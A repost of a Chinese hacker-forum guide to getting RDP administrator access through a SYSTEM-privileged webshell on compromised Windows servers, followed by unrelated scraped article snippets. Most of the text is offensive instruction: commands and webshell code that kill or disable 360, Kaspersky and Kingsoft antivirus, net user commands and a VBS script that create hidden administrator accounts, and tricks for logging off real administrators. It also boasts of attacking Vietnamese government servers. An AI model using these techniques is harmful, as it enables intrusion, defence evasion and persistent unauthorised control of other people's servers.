Windows服务器SYSTEM权限Webshell无法添加3389账户情况突破总结

转自:http://bbs.blackbap.org/thread-2331-1-1.html

近好多Silic的朋友在Windows下SYSTEM权限的php webshell下添加账户,但是却无法成功。SYSTEM的权限,权限是够了,却无法成功,原因是什么呢?
原因有很多种,于是我总结了一下成因,并在下面文章进行了一一分析,然后附上了一点个人的突破绕过方法。提权不可能百分百成功,我只是总结了一些常见的情况,其他的我会慢慢补充
作者:YoCo
Smart
来自:Silic Group Hacker
Army

http://blackbap.org
Webshell有了SYSTEM权限,却无法成功添加administrators用户,因此导致无法成功连接3389。总结原因有以下几点:
I.杀软篇
1,360杀毒软件
2,麦咖啡杀毒软件
3,卡巴斯基杀毒软件
4,其他杀毒软件或防护软件
II.策略篇
1,3389端口变更
2,莫名其妙无法添加账户
3,管理员限制篇
4,系统已达最大连接数处理

-----------------------I.
杀软篇-----------------------------
1,360杀毒软件
经常会在国内的一些服务器上遇到360杀毒和防护软件,如果使用webshell进行添加administrators账户时,360会阻止并提示管理员,导致添加失败。
那么如何突破360的限制?360不能完美的支持Server系统,也就是说,其实很简单。
阻止Webshell添加账户的主要是360主动防御,而结束了主动防御,360杀毒根本就是摆设。
那天手痒去百度搜了下blackbap.org这个关键字,居然出现在360论坛上,原来是Silic开发的php大马被某个服务器管理员举报到360论坛上去了。
大致就是这个网管把webshell传上去,说360查不出来,希望更新病毒库云云,结果360工程师看了以后说更新360就能杀到了,结果网管说更新了还是杀不到。然后工程师说装什么什么的,网管说装了,还是杀不到,然后工程师就缩头乌龟了。可见360在server上面很垃圾,用小白的话说就是,请把拿着打口水仗的钱多花在研发产品上吧。
好了,扯淡到此为止,突破方法也该千呼万唤始出来了。
先执行tasklist看一下进程列表,然后

  1. taskkill /im 进程名.exe /f

复制代码

把主动防御结束
360相关进程如下:
360tray.exe,360rp.exe,Zhudongfangyu.exe,360rps.exe,这几个灭了,基本上360的阻碍就清除了,该加账户加账户,该pr就pr了。
Windows下Apache+PHP的特殊性,导致很多php站的webshell有SYSTEM的权限,所以结束360简直易如反掌啊。
即使不是SYSTEM,也有办法的,例如ASPX,asp.net有个操纵进程的功能。看代码(直接从webshell上面拔下来的):

  1. protected void kp_Click(object sender, EventArgs e)
  2. {
  3. Process[] kp = Process.GetProcesses ();
  4. foreach ( Process kp1 in kp )
  5. if (kp1.ProcessName == ListBox1.SelectedValue.ToString())
  6. {
  7. try
  8. {
  9. kp1.Kill();
  10. Response.Write("<script>alert(‘Killed‘);location.href=‘?‘</" +
    "script>");
  11. ListBox1.Items.Clear();
  12. }
  13. catch (Exception x)
  14. {
  15. Response.Write(x.Message.ToString());
  16. Response.End();
  17. }
  18. }
  19. }

复制代码

asp.net的这一个kill()函数即使是IIS+ASPX的users用户组依然可以轻松杀死360。
有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先query
user看看管理员状态,因为很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill
所以logoff把管理员踢了,然后360有的进程就自己灭了,这种情况多出现在2008的server系统上

2,麦咖啡杀毒软件
以前就谈过了关于如何绕过麦咖啡杀毒软件获得3389登陆权限的文章。
文章原文在这里:http://bbs.blackbap.org/thread-2085-1-1.html
那么完整一下过程就是,启用Guest账户,修改Guest用户的密码,添加Guest为administrators用户组。
经过测试,麦咖啡的防护进程恐怕是突破的,于是cmd命令如下:

  1. net user guest /active:yes          //将guest用户启用
  2. net user guest silic!&11133        //修改guest密码
  3. net localgroup administrators guest /add   
    //添加guest到管理员用户组中

复制代码

这三条命令第二条或者第三条有时候可能不会显示命令执行成功,但是实际上只要是SYSTEM权限,就应该可以执行成功的,有无回显并不重要。

3,卡巴斯基
卡巴斯基的防护也是让人头疼的。关于突破卡巴斯基的方法,有很多。
调整系统时间,让卡巴的key失效,这就不说了。还有mkdir建立以非法字符“.”命名的文件夹,将pr等提权程序传进去。
SYSTEM突破卡巴的防御直接添加用户,恐怕不太容易,不过可以尝试,用taskkill结束进程的语句后面
& net user
add命令,同时执行结束进程和添加账户。
此方法尚未实践,但是理论上是可以的,因为卡巴不像麦咖啡,它可以直接被结束,但是立即就会重启进程。

4,金山防护软件
首先说KSafeSvc.exe,
当时不知道是什么玩意, 从文件名目测应该是个金山的东西。
这个进程即使是taskkill也是搞不定的...只要有它,net user
/add的时候,就算net.exe改名了,它也会弹出是否阻止的窗口(可能是它弹的,就算不是它弹的,也要干掉他才能添加)
但是有个命令叫ntsd,可以终结掉大部分进程,例如winlogon.exe
svchost.exe这些..
然后就ntsd -c q -p
PID结束了KSafeSvc.exe
然后说一下:金山毒霸+金山卫士+瑞星防火墙的组合
这个组合看似很牛逼,其实很傻逼。今天就遇到个system的php,上面就是金山毒霸+金山卫士+瑞星防火墙的组合
可以将如下代码保存到c:\windows\temp\a.vbs

  1. set wsnetwork=CreateObject("WSCRIPT.NETWORK")
  2. os="WinNT://"&wsnetwork.ComputerName
  3. Set ob=GetObject(os)
  4. Set oe=GetObject(os&"/Administrators,group")
  5. Set od=ob.Create("user","silic")
  6. od.SetPassword "silic"
  7. od.SetInfo
  8. Set of=GetObject(os&"/silic",user)
  9. oe.add os&"/silic"

复制代码

然后用如下命令执行,就能得到账户为silic密码为silic的管理员账户了:

  1. cscript c:\windows\temp\a.vbs

复制代码

5,禁用服务法

  1. sc config 服务名 start= disabled

复制代码

有时候mysql或者mssql等等提权的时候,会发生杀软无法结束,导致提权失败的情况。
我们给杀软服务设置为禁用,重启服务器,杀毒防护服务就不能运行。就无阻畅通了,例如:

  1. sc config MsMpSvc start= disabled

复制代码

5,其他防护软件
见过很多非主流的防护软件,什么护卫盾啊,Safe3防篡改啊,还有各种类似程序,具体名字我忘了。
这些软件的突破方法和主流防护软件突破方法大致相同,结束进程,或者不使用添加账户,直接启用现有的Guest来突破监控,不赘述了
另外补充一种方法,就是将防护软件的服务从自动启动改为不启动,然后重启服务器。这种方法对绝大部分服务器有效。

--------------------------------II,策略篇-----------------------------
1,3389端口变更
进行3389添加账户前首先要知道3389到底开启没有。
目前只遇到过3389端口变更的例子,没见过不开启3389的例子。那为什么有的外网3389连不上呢?
原因很简单,3389端口变更了呗。找出来的方法再简单不过了netstat
-an查看所有开启的端口。
一个一个可疑的端口试未免太差劲了。netstat
-ano查看端口和使用端口的进程pid,然后Tasklist看一下有哪个svchost.exe进程的pid使用了端口
注意,是svchost.exe当中的某个。

2,莫名奇妙无法添加账户
什么是莫名奇妙?有些主机,Webshell是System权限,tasklist也看不到任何防护的进程,管理员也没在线,提权程序也添加不了,怎么搞?
有因必有果,这样的情况添加不了,多数是系统有组策略限制,通常限制的是密码最短长度。而这个组策略又多数是麦咖啡等防护软件设置上的。或者干脆就是装机的系统本身就GHO上了这个设置。
突破方法不用说了,把密码位数设置长一点就ok,原先密码是123456,现在改为[email protected]#$就过了
如果还是添加不上,可以尝试用vbs脚本来添加。

3,管理员限制
有些BT管理员很可恶,直接把c:\windows\system32的net.exe给删了或者换了,于是你直接net的时候会提示拒绝访问或者不是系统命令等等类似提示云云。
管理员看似很牛B,其实很傻逼,系统的net.exe没了,你自己传一个自己的net.exe就突破了。
当然,也有64位系统和你的程序不兼容的情况发生,他是64你就传64位的,很好搞。

4,达到最大连接限制
有时候添加了账户,但是连接提示最大连接数限制。管理员不在线,却占着线不让你上去,等管理员自己上线了,再把你删了。这种管理员够缺德的
对于这种上不去的,首先query
user查看在线的账户,然后看他的登陆ID,一般是0,最高不超过8,超过8说明服务器好久没重启了(这个没准的)
然后logoff
ID,就把对应ID的管理员踢掉了。然后就能登录了。
当然你在logoff的时候不要把自己logoff了,也不最好不要白天踢人。管理员在线被人踢掉的话,你懂的。—
—!
2011年和越南黑阔搞攻防切磋的时候,咱们网站的人就在人越南的gov服务器上乱搞,然后。。。咱网站的黑阔挂菊花聊天室,管理员就删啊删的,咱网站的黑阔就logoff了管理员的账户,然后禁用和administrator。。。后来管理员就眼瞅着大家在菊花聊天室聊天,然后跑了半个小时去机房把网线拔了。。。logoff命令真的很阴毒,尤其是对一些服务器不在本地的网站来说。。。

补充
有些SYSYTEM权限却干不掉360,例如360tray.exe,360safe.exe,可以先query
user看看管理员状态
很可能是管理员登陆以后运行了图形界面没关闭,系统不执行taskkill
所以logoff把管理员踢了,然后360有的进程就自己灭了
多出现在2008的server系统上

时间: 2024-08-04 22:16:09

Windows服务器SYSTEM权限Webshell无法添加3389账户情况突破总结的相关文章

Windows服务System权限下在当前用户桌面创建快捷方式C#实例程序

Windows服务一般运行在System权限下,这样权限比较高,方便执行一些高权限的操作. 但是,Environment.GetFolderPath等函数获取的也是System用户下的,而不是当前用户的. 解决方法 模拟当前用户,调用Environment.GetFolderPath等函数获取当前用户的路径,退出模拟 查看输出,可以看到模拟成功了: 第一行是当前用户的,第二行输出的是System用户的路径 获取完整的实例代码 支持WinXP及以上操作系统 原文地址:https://www.cnb

[集合]解决system权限3389无法添加的用户情况

Webshell有了SYSTEM权限,却无法成功添加administrators用户,因此导致无法成功连接3389.总结原因有以下几点:I.杀软篇1,360杀毒软件2,麦咖啡杀毒软件3,卡巴斯基杀毒软件4,其他杀毒软件或防护软件II.策略篇1,3389端口变更2,莫名其妙无法添加账户3,管理员限制篇4,系统已达最大连接数处理 ———————–I. 杀软篇—————————–1,360杀毒软件经常会在国内的一些服务器上遇到360杀毒和防护软件,如果使用webshell进行添加administrat

如何让应用程序获取system权限、root权限

获取system权限 上一篇随笔简单介绍了下Android权限的一些规则,我们发现很多事如果没有system权限基本上无法完成,那么如何让自己的应用获取system权限呢? 一般情况下,设定apk的权限,可在AndroidManifest.xml中添加android:sharedUserId="android.uid.xxx> 例如: 给apk添加system权限 1 <manifest xmlns:android="http://schemas.android.com/a

WINDOWS服务器IIS解析漏洞维护办法,防止WEBSHELL入侵!

本站服务器经过更换2012版后 网站经常被人拿WEBSHELL篡改文件! 找了半天也找不到漏洞在哪好在微信好友Carry的帮忙下找出了漏洞,并给出了以下的修改方案我是根据方案3修复的,在这里给大家分享下 一.漏洞介绍漏洞影响 IIS7 及IIS7.5 在使FastCGI方式调用php时,在php.ini里设置cgi.fix_pathinfo=1使得访问任意文件URL时,在URL后面添加“/x.php”等字符时,该文件被iis当php文件代码解析.如http://127.0.0.1/1.dif的内

Windows服务(system权限)程序显示界面与用户交互,Session0通知Session1里弹出对话框(真的很牛) good

源码资源下载:http://download.csdn.net/detail/stony1980/4512984 1.VC2008中编写“Windows服务”(Windows Service)程序 vc2008下新建一个 ATL 项目-> 选择创建一个“服务”类型的ATL 项目TestService,将生成如下代码, class CTestServiceModule : public CAtlServiceModuleT< CTestServiceModule, IDS_SERVICENAME

Android 添加System权限

很多应用需要系统权限,放到/system/app 只是打包进系统.若可以进行.mk编译,则可以如下几步加入系统权限: Android 获取System 权限可以用如下几步:1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性.2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行 3. 使用mm命令来编译,生成的a

WINDOWS服务器安全加固实战(适用于WINDOWS SERVER 2008 R2和WINDOWS SERVER 2012)

最近我们立方技术工作室在使用阿里云的过程中,发现服务器安全性也不是很高,而服务端的安全软件都很贵.为了为朋友们提供更加有效的解决方案,我们决定身体力行,高筑墙,大幅度提升服务器的安全防护级别! 主机安全 启用防火墙 阿里云windows Server 2008 R2默认居然没有启用防火墙.2012可能也是这样的,不过这个一定要检查! 补丁更新 启用windows更新服务,设置为自动更新状态,以便及时打补丁. 阿里云windows Server 2008 R2默认为自动更新状态,2012可能也是这

安全狗+360全套下提权(system权限)

起因:某日某群某人 有句话说的很好"如果你还没瞎,就别用耳朵去了解!" ,还是自己去琢磨下比较保险. 运气好,是system权限. 本以为应该很简单,但是-- systeminfo查询得出系统信息:win7旗舰版 目测X86系统. 没错就是win7,但发现3389无法连接.随机执行tasklist /svc命令得出:360全套+服务器安全狗 在通过netstat -ano命令得出:3389端口是开启 出现上面得出思路:1.tcp/ip筛选2.防火墙3.安全狗拦截4.内网环境一般情况大家

【c#源码】安卓客户端通过TCP通信与Windows服务器进行文件传输

APK文件  (对应的windows服务器端已经架设好,可以直接下载进行测试) 源码     数据库文件 在前面一篇文章:[源码]c#编写的安卓客户端与Windows服务器程序进行网络通信 中我们探讨了,如何通过xamarin技术,完成安卓客户端与Windows服务器的通信,这篇文章,我们探讨一下使用场景非常多的文件传输. 先谈一下为什么使用xamarin.android技术吧,之前有开发过一个公文系统,c#语言开发,服务器部署在Windows Server 2003上,客户端采用Winform